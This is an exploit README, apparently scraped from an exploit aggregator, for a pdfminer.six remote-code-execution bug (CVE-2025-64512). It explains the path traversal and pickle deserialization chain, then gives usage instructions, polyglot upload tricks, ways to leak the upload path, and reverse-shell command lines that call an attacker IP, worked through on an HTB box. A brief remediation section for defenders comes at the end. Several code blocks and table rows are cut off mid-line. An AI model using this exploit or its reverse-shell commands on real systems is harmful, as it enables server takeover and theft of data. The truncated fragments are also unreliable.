## https://sploitus.com/exploit?id=2C5EE6B1-4EA4-56C2-B3A5-2F46BB25E2C3
# CVE-2025-64512 β pdfminer.six RCE exploit
Python 3, **stdlib only** (no pip installs). For authorized security testing and
CTF use only β you are responsible for complying with the law and your engagement's
rules of engagement.
| | |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
| CVE | **CVE-2025-64512** |
| Affected | pdfminer.six **.pickle.gz`) inside its own package.
Look at how a CMap is loaded (`pdfminer/cmapdb.py`, all versions before 20251107):
```python
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # the ONLY sanitization
filename = "%s.pickle.gz" % name # β attacker controls `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # β absolute name ignores the dir!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # β π₯
```
Three flaws stack up:
1. **`name` comes from the PDF itself.** A Type0 (CID) font's `/Encoding` entry is
a PDF _name_, and the attacker fully controls it. PDF names can't contain a raw
`/`, so it is written with RFC-standard hex escapes: the name
`/#2f#76#61#72#2fβ¦` decodes to `/var/β¦`.
2. **`os.path.join` quirk.** When the second argument is absolute, the first is
ignored entirely. So a name of `/var/www/site/uploads/shell` makes pdfminer look
at `/var/www/site/uploads/shell.pickle.gz` β _any_ path on disk β instead of its
own CMap directory.
3. **`pickle.loads()` on the file's contents.** A pickle can carry "rebuild me by
calling this function" instructions (`__reduce__`). Deserializing attacker
bytes = running attacker code, inside whatever process called pdfminer.
**Exploit prerequisites** β the bug is trivially exploitable on any application
that gives you both halves of the equation:
- a way to **place a file** at a _known absolute path_ (an upload portal; the path
is often leaked in error messages),
- a way to make the server **parse a PDF you control** (on upload, on a convert
endpoint, via a background watcher/cron, β¦).
## 2. What the script does
1. Builds a gzipped pickle: `{"__reduce__": eval("__import__('os').system('')")}`.
2. Builds a minimal but structurally valid PDF whose only content is a page that
uses a Type0 font whose `/Encoding` names your pickle's absolute path.
3. Delivers it:
- **`--mode two`** _(default)_ β uploads `.pickle.gz`, then `.pdf`.
Use this whenever the target only parses files with a PDF extension
(e.g. a watcher globbing `uploads/*.pdf`).
- **`--mode polyglot`** β uploads **one** file `.pickle.gz` that is _both_
a valid gzip-pickle **and** a valid PDF: the entire PDF hides in the gzip
header's FCOMMENT field (RFC 1952 allows comments; the `%PDF-` signature sits
at byte 10, and the xref offsets are pre-shifted so the table stays valid).
Use this when the target parses any uploaded file as PDF regardless of
extension (markitdown-style converters).
4. Optionally verifies the files landed (`--verify`), waits out the target's
processing cycle (`--wait`), and can prepend a **callback oracle** (`--callback`)
that phones home before your command runs β so you can prove execution even if
your main channel fails.
## 3. Installation
Nothing to install β Python 3.10+ (uses `str | None` syntax):
```bash
chmod +x cve_2025_64512.py
```
## 4. Usage
### 4.1 Rehearse locally first
Generate sample payloads and (if a vulnerable pdfminer is importable) execute them
in your own Python to prove the chain works before touching a target:
```bash
# point the selftest at a vulnerable pdfminer checkout/wheel (any /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # place as /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # vulnerable pdfminer only
cat /tmp/pwned # β your uid
```
### 4.2 Generic upload portal (Bedside-style)
```bash
# 1. start a listener for your command's callback channel
nc -lvnp 4444
# 2. run the exploit β let it discover the upload directory itself
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 `; common: `uploadFile`, `file`). |
| `--path` | **Absolute** server-side directory where uploads land (e.g. `/var/www/site/uploads`). The PDF names the pickle here, so it must be exact. |
| `--leak-path` | Don't know the path? Upload malformed content and scrape it from the portal's error message (many portals print the destination). |
| `--name` | Basename for generated files (default `shell`). Randomize if you re-run to avoid stale files. |
| `--mode` | `two` (default) or `polyglot` β see Β§2. |
| `--callback URL` | Prepend an HTTP fetch to `URL` before your command; run `python3 -m http.server 8000` and watch for the hit. Execution oracle. |
| `--wait N` | Sleep N seconds after uploading β match the target's processing cadence (watchers/cron often poll every 30 s; **wait a full cycle before assuming failure**). |
| `--verify /uploads` | GET each uploaded file afterwards to confirm it landed where the PDF expects it. |
| `--timeout`, `--out-dir`, `--no-upload`, `--selftest` | HTTP timeout, local output dir, generate-only mode, local rehearsal. |
### 4.3 Worked example β HTB Bedside
```bash
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 & # listener
python3 cve_2025_64512.py \
--url http://research.bedside.htb/ \
--path /var/www/research.bedside.htb/uploads \
--verify /uploads --wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 /.pickle.gz` (`--verify`). 3) Check the process running pdfminer can _read_ your file. 4) Use `--callback` for a definitive execution signal. |
| Upload path unknown | `--leak-path`, or trigger any validation error and read the message. |
| Polyglot never triggers | The parsed file must be the _same_ file ending in `.pickle.gz`. If the target only parses `*.pdf` uploads, use `--mode two`. |
| `TypeError: type.__new__() argument 3 must be dict` in target logs | **That's success** β pdfminer executed your pickle and then tripped over its own return value. Harmless. |
| Target patched | pdfminer β₯ 20251107 loads CMaps from JSON. Nothing to exploit here. |
## 6. Remediation (for defenders)
- Upgrade **pdfminer.six β₯ 20251107**; patch **markitdown β₯ 0.1.4** / **pdfplumber β₯ 0.11.8**.
- Never place attacker-writable files where a parser resolves paths from
file-internal metadata; serve uploads from storage the parser can only read.
- Treat every deserializer as code execution: `pickle.loads`, `torch.load`,
`yaml.load` on untrusted bytes are all the same bug class. Prefer
data-only formats (JSON, Safetensors, ONNX).
- Disable `X-Powered-By`-style headers and return generic errors β both leaked
the ingredient list on Bedside.